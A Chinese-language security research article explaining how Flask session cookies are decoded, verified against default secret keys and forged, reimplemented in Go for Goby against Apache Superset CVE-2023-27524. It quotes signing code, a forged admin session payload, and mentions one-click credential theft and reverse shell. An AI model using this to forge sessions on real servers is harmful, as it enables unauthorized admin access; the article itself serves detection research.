0x01 概述

跨語言移植一直是技術領域內難以解決的問題,需要解決語言之間的約束,好在先前我們成功使用 Go 實現了 IIOP 協議通信,有了前車之鑒,所以這次我們將繼續使用跨語言方式實現 Flask Session 偽造。本文以 Apache Superset 權限繞過漏洞(CVE-2023-27524) 為例講述我們是如何在 Go 中實現 Flask 框架的 Session 驗證、生成功能的。

最終,我們在 Goby 中成功使用跨語言方式實現了 CVE-2023-27524 漏洞的檢測與利用效果,并加入了一鍵獲取數據庫憑據,一鍵反彈 shell 的利用方式:

0x02 漏洞原理

Session(會話)是一種服務器端管理的數據存儲機制,用于在用戶與 Web 應用程序之間保持持久性狀態信息。它允許 Web 應用程序在不同 HTTP 請求之間存儲和檢索用戶特定的數據。

當用戶首次訪問 Web 應用程序時,服務器會為每個用戶創建一個唯一的會話標識(通常是一個會話 ID 或令牌),該標識存儲在用戶的瀏覽器中的 Cookie 中或通過 URL 參數傳遞。服務器使用此標識來跟蹤特定用戶的會話。

如果我們能創建具有特權用戶的 Session ,則可以執行后臺危險操作,比如執行命令、上傳文件等操作。

在本例中,Apache Superset 所使用的 Flask 是一個微型的 Python Web 框架,在許多項目都有應用,比如 Flask-Chat、Flask-Blog、Flask-Admin 等,如果沒有更改默認的 Flask 配置,則可能造成潛在的漏洞:

攻擊者首先發送請求登錄的包,將回顯包的 Flask Session 復制下來,并通過 session.decode 方法解碼 Session 中的 Session Data。其次通過 session.verify 方法來校驗 Flask Session 是否采用了默認密鑰。如果為默認密鑰則使用 session.sign 方法將密鑰和解碼后的 Session Data 生成對應的 Flask Session,從而達到權限繞過的目的。

因此要使用該權限繞過漏洞,需要了解 Flask Session的組成結構:

Flask Session 的組成結構主要由三部分構成,第一部分為 Session Data ,即會話數據。第二部分為 Timestamp ,即時間戳。第三部分為 Cryptographic Hash ,即加密哈希。只有符合 Flask Session的組成結構的 Session 才會被 Flask 正確解析。

0x03 Flask Session

由于 Go 語言中目前沒有現成的 Flask 框架 Session 生成機制,所以需要用 Go 復刻 Flask Session 的核心代碼以作為最終的通用解決方案。

3.1session.decode

try:
        decoded = session.decode(session_cookie)
        print(f'Decoded session cookie: {decoded}')
    except:
        print('Error: Not a Flask session cookie')
        return

在 Python 代碼中, session.decode 方法的作用為檢驗傳入的 Session 值是否為 Flask Session。因此,在 Go 語言中實現同等邏輯即可,具體需要下斷點調試,從源碼的角度查看 session.decode 的執行流程。

session.verify 方法源碼如下:

def decode(value: str) -> dict:
    try:
        compressed = False
        payload = value
        if payload.startswith('.'):
            compressed = True
            payload = payload[1:]
        data = payload.split(".")[0]
        data = base64_decode(data)
        if compressed:
            data = zlib.decompress(data)
        data = data.decode("utf-8")
    except Exception as e:
        raise DecodeError(
            f'Failed to decode cookie, are you sure '
            f'this was a Flask session cookie? {e}')
    def hook(obj):
        if len(obj) != 1:
            return obj
        key, val = next(iter(obj.items()))
        if key == ' t':
            return tuple(val)
        elif key == ' u':
            return UUID(val)
        elif key == ' b':
            return b64decode(val)
        elif key == ' m':
            return Markup(val)
        elif key == ' d':
            return parse_date(val)
        return obj
    try:
        return json.loads(data, object_hook=hook)
    except json.JSONDecodeError as e:
        raise DecodeError(
            f'Failed to decode cookie, are you sure '
            f'this was a Flask session cookie? {e}')

session.decode 方法在接收到傳入的 Flask Session 后,首先以.號開頭來判斷是否為壓縮的 Flask Session,如果為壓縮的 Flask Session 則將開頭的號去除,接著將 Flask Session 以.號進行分割來獲取 Session Data ,最后進行 base64 解碼。如果成功解碼則說明目標使用的是 Flask Session 。

3.2 session.verify

for i, key in enumerate(SECRET_KEYS):
    cracked = session.verify(session_cookie, key)
    if cracked:
        break

在 Python 代碼中,session.verify 方法的作用為根據密鑰去驗證 Flask Session 的正確性,如果驗證成功則說明是正確的密鑰。因此,在 Go 語言中實現同等邏輯即可,具體需要下斷點調試,從源碼的角度查看 session.verify 的執行流程。

session.verify 方法的組成如圖所示:

get_serializer(secret, legacy, salt):

def get_serializer(secret: str, legacy: bool, salt: str) -> URLSafeTimedSerializer:
    if legacy:
        signer = LegacyTimestampSigner
    else:
        signer = TimestampSigner
    return URLSafeTimedSerializer(
        secret_key=secret,
        salt=salt,
        serializer=TaggedJSONSerializer(),
        signer=signer,
        signer_kwargs={
            'key_derivation': 'hmac',
            'digest_method': hashlib.sha1})

get_serializer 方法的作用為返回一個 URLSafeTimedSerializer 的構造方法,其中的 secret 和 salt 參數是由session.verify(session_cookie, key) 傳入的 。

在 signer_kwargs 參數中包含了兩個鍵值對(key-value pair):

  1. 'key_derivation': 'hmac':這是字典中的第一個鍵值對。它將鍵 key_derivation 映射到值 hmac。這表示在某個上下文中,使用 HMAC(Hash-based Message Authentication Code)作為密鑰派生方法。
  2. 'digest_method': hashlib.sha1:這是字典中的第二個鍵值對。它將鍵 digest_method 映射到值 hashlib.sha1。這表示在某個上下文中,使用 SHA-1 哈希算法作為摘要方法。

因此 Flask Session 使用 HMAC 算法作為密鑰派生方法,使用 SHA-1 哈希算法作為摘要方法。

loads(value) 方法使用了 signer.unsign 方法,其中參數 s 為傳入的 session 值:

跟進調試 signer.unsign(s, max_age=max_age, return_timestamp=True) 發現調用了 super().unsign(signed_value) ,此時 signed_value 的值為 Flask Session :

進入 super().unsign 方法調試可以發現 sig 變量為 Flask Session 組成結構中的 Cryptographic Hash ,value 變量為 Flask Session 組成結構中的 Session Data + "." + Timestamp :

至此,我們成功得知 Flask Session 結構中的 Session Data 和 Timestamp 是如何劃分的,接下來我們需要得知 Flask Session 是如何進行校驗的,重點在 self.verify_signature(value,sig) 方法上:

進入 self.verify_signature(value,sig) 方法進行調試:

def verify_signature(self, value: _t_str_bytes, sig: _t_str_bytes) -> bool:
    """Verifies the signature for the given value."""
    try:
        sig = base64_decode(sig)
    except Exception:
        return False
    value = want_bytes(value)
    for secret_key in reversed(self.secret_keys):
        key = self.derive_key(secret_key)
        if self.algorithm.verify_signature(key, value, sig):
            return True
    return False

主要分為兩部分:

1. self.derive_key()
2. self.algorithm.get_signature(key, value)
  • 第一部分為 self.derive_key() 方法:
  • 前面分析 get_serializer(secret, legacy, salt) 得知 Flask Session 使用的是 HMAC 算法,所以 self.derive_key() 方法的作用為使用 secret_key 創建一個 HMAC 對象,使用 sha1 作為摘要算法,接著向 HMAC 對象中添加 self.salt 數據,在 Flask 中默認為 cookie-session ,最后返回 HMAC 對象的摘要,即 mac.digest() 的結果,也就是第二部分 self.algorithm.get_signature(key, value) 方法中的參數 key 。
  • 第二部分為 self.algorithm.get_signature(key, value) 方法:
def verify_signature(self, key: bytes, value: bytes, sig: bytes) -> bool:
        """Verifies the given signature matches the expected
        signature.
        """
        return hmac.compare_digest(sig, self.get_signature(key, value))

此時的 hmac.compare_digest(sig, self.get_signature(key,value)) 使用了 self.get_signature(key,value) 方法:

該方法的作用為使用給定的密鑰和消息數據來生成一個 HMAC 簽名,以幫助確保數據的完整性和真實性。此時的密鑰為第一部分 self.derive_key() 方法的執行結果,消息數據為 Flask Session 組成結構中的 Session Data + "." + Timestamp 。最后將生成的 HMAC 簽名和第一部分 self.derive_key() 方法生成的 key 使用 hmac.compare_digest 進行比較,當兩個值完全相同時該密鑰則為正確密鑰。

3.3 session.sign

forged_cookie = session.sign({'_user_id': 1, 'user_id': 1}, key)

在 Python 代碼中,session.sign 方法的作用為根據密鑰和 Session Data 生成 Flask Session。因此,在 Go 語言中實現同等邏輯即可,具體需要下斷點調試,從源碼的角度查看 session.sign 的執行流程。

session.sign 方法的組成如圖所示:

get_serializer 方法在實現 session.verify 方法中已分析。因此,主要查看 dumps(value) 方法,可以得知主要調用了 self.mak_signer(salt).sign(payload) ,而此時 payload 已經被 base64 編碼:

這里將分兩部分進行解析:

  • 第一部分 make_signer:

make_signer 為構造方法,依據傳入的參數對 self.signer 進行初始化賦值。

  • 第二部分 .sign(payload) :

{'_user_id': 1, 'user_id': 1}已經在 dumps(value) 方法中被 base64 編碼了,即 Flask Session 組成結構中的 Session Data,而 timestamp 為當前時間戳的 base64 編碼。

此時將 Session Data + "." + Timestamp 作為 self.get_signature 方法的參數( self.get_signature 方法在實現 session.verify 方法中已解析),生成為 Flask Session 組成結構中的 Cryptographic Hash:

最后將 Flask Session 組成結構中的 Session Data、Timestamp、Cryptographic Hash以.號進行拼接為最終的 Flask Session 。

綜上,我們成功分析完 Flask Session 的校驗、生成過程,接下來以 Apache Superset 權限繞過漏洞(CVE-2023-27524)為例,實現效果如下:

0x04 總結

在白帽匯安全研究院,漏洞檢測和利用是一項創造性的工作,我們致力于以最簡潔,高效的方式來實現。為了在 Goby 中實現 Flask Session 生成和利用方法,我們花費大量精力去調試 Flask 源碼,分析 Session 的構造過程。最終,我們成功在 Go 語言中實現了 Flask Session 校驗和生成方法。為了驗證方法的可靠性,我們以 Apache Superset 權限繞過漏洞(CVE-2023-27524)為例,在 Goby 上實現了漏洞攻擊效果,并加入了一鍵獲取數據庫憑據,一鍵反彈 shell 的利用方式。